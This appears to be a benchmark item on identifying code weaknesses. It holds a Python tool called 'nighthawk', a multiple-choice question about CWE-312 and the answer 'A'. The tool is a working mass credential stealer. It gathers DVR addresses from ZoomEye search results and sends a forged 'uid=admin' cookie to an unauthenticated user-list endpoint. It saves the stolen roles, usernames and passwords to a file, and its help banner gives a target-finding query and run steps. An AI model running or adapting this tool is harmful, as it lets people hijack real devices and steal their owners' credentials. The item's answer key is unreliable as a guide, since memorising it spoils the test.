system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# Author: o-o
# Date: 1.16.2020
# Description: Get DVR Credentials.

from collections import OrderedDict
import argparse
import requests
import json
import os

# Gets Data.
# Precondition: A String.
# Postcondition: Display Results.

def connect(header):

    # Local Variables.
    writer = open("data.csv","w")

    # Open the file.
    with open("sockets.csv","r") as reader:

        # Test Each Website.
        for website_socket in reader:

            # Local Variables.
            base_url = "http://{}/".format(website_socket.strip())
            test_url = base_url + "device.rsp?opt=user&cmd=list"

            # Assign Host.
            header["Host"] = base_url

            # Request Data.
            try:
                response = requests.get(test_url,headers=header,timeout=10.00)
            except Exception as e:
                continue

            # Raw Data.
            raw_json = response.content

            # Decode JSON Data.
            try:
                new_json  = json.loads(raw_json)
                data_size = len(new_json["list"])
            except Exception as e:
                continue

            # Display Results.
            try:
                for index in range(data_size):

                    # Local Variables.
                    role     = new_json["list"][index]["role"]
                    username = new_json["list"][index]["uid"]
                    password = new_json["list"][index]["pwd"]

                    # Display Credentials.
                    writer.write("\n\nrole: {}\nuid:  {}\npwd:  {}\nurl:  {}\n\n{}".format(role,username,password,base_url,"=" * 35))

            except Exception as e:
                continue

    # Close the File.
    writer.close()

# ==============================================================================================================

# Assign Variables.
# Precondition: None.
# Postcondition: Create Header.
def assign():

    # Create Request Header.
    headers = {}
    headers["User-Agent"]       = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"
    headers["Accept"]           = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    headers["Accept-Languag"]   = "es-AR,en-US;q=0.7,en;q=0.3"
    headers["Connection"]       = "close"
    headers["Cookie"]           = "uid=admin"

    # Get Data.
    connect(headers)

# ==============================================================================================================

# Parse the data.
# Precondition: A String.
# Postcondition: A List.
def parse(contents,keyword_1,keyword_2):

    # Parse Data.
    temp = []
    for content in contents:
        if keyword_1 in content and keyword_2 in content:
            ostring = content[content.find(keyword_2):]
            start   = ostring.find(keyword_2[-1])
            nstring = ostring[start+1:]
            end     = nstring.find(keyword_2[-1])
            fstring = nstring.split(" ")[0].strip("http://")

            if fstring[0].isdigit():
                if end == -1:
                    temp.append(fstring.strip().strip("/"))
                else:
                    temp.append(nstring[:end].strip().strip("/").strip("http://"))

    # Return Data.
    return temp

# ==============================================================================================================

# Start's the program.
# Precondition: None.
# Postcondition: A File.
def setup():

    # Local Variables.
    key1   = "a class=\"search-result-item-title\""
    key2   = "href=\""
    html   = "ZoomEye - Cyberspace Search Engine.html"
    output = "sockets.csv"

    try:

        # Open & Read File.
        reader   = open(html, "r")
        raw_data = reader.read()
        reader.close()

        # Format & Parse Data.
        content  = str(raw_data).split("<")
        elements = OrderedDict.fromkeys(parse(content,key1,key2)) 

        # Save the data to a file.
        with open(output,"w") as writer:
            for element in elements:
                writer.write(element + "\n")

    except (KeyboardInterrupt, Exception) as e:
        print(str(e))

# ==============================================================================================================

# Parse the command.
# Precondition: None.
# Postcondition: Start Module.
def args():

    try:

        # Create Object && Format.
        parser = argparse.ArgumentParser(add_help=False)

        # Group && Add Arguments.
        group1 = parser.add_argument_group("options")
        group2 = parser.add_argument_group("additional")
        group1.add_argument("-s","--scrape",action="store_true",help=": Scrape HTML file.")
        group1.add_argument("-g","--get",action="store_true",help=": Get Credentials.")
        group1.add_argument("-i","--install",action="store_true",help=": Install Packages.")
        group2.add_argument("-h","--help",action="help",default=argparse.SUPPRESS,help=": Displays the usage screen.")

        # Join & Create Arguments.
        args = parser.parse_args()

        # If the Correct Command.
        if args.install:

            # Processing Data.
            os.system("pip install -r requirements.txt")

        elif args.scrape:

            # Processing Data.
            setup()

        elif args.get and os.path.exists("sockets.csv"):

            # Processing Data.
            assign()

        elif args.help:
            
            # Display Help Message.
            parser.print_help()

    except Exception as e:

        # Display Ascii Art & Steps.
        print('''
	                                       .  .
                                            .  .  .  .
                                            .  |  |  .
                                         .  |        |  .
                                         .              .
           ___     ___    _________    . |  (\.|\/|./)  | .   ___   ____
          |   |   |   |  /    _    \   .   (\ |||||| /)   .  |   | /   /
          |   |___|   | |    /_\    |  |  (\  |/  \|  /)  |  |   |/   /
          |           | |           |    (\            /)    |       /
          |    ___    | |    ___    |   (\              /)   |       \\
          |   |   |   | |   |   |   |    \      \/      /    |   |\   \\
          |___|   |___| |___|   |___|     \____/\/\____/     |___| \___\\
                                              |0\/0|
                                               \/\/
                                                \/			''')

	print("\n\033[1;32;20m Created By:\033[0;0;0m o-o")
        print("\n\033[1;31;20m [1]\033[1;32;20m Customize & Save as HTML:\033[0;0;0m https://www.zoomeye.org/searchResult?q=%22login.rsp%22%20%2Bafter%3A%222020-01-01%22&t=all")
        print("\033[1;31;20m [2]\033[1;32;20m Run Command:\033[0;0;0m python2 nighthawk.py -s")
        print("\033[1;31;20m [3]\033[1;32;20m Run Command:\033[0;0;0m python2 nighthawk.py -g")
        print("\033[1;31;20m [4]\033[1;32;20m Output File:\033[0;0;0m data.csv\n\n")

# Start's Program.
# Precondition: Filename.
# Postcondition: None.
if __name__ == "__main__":

    args()

```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) connect
  B) parse
  C) setup
  D) args
Answer: A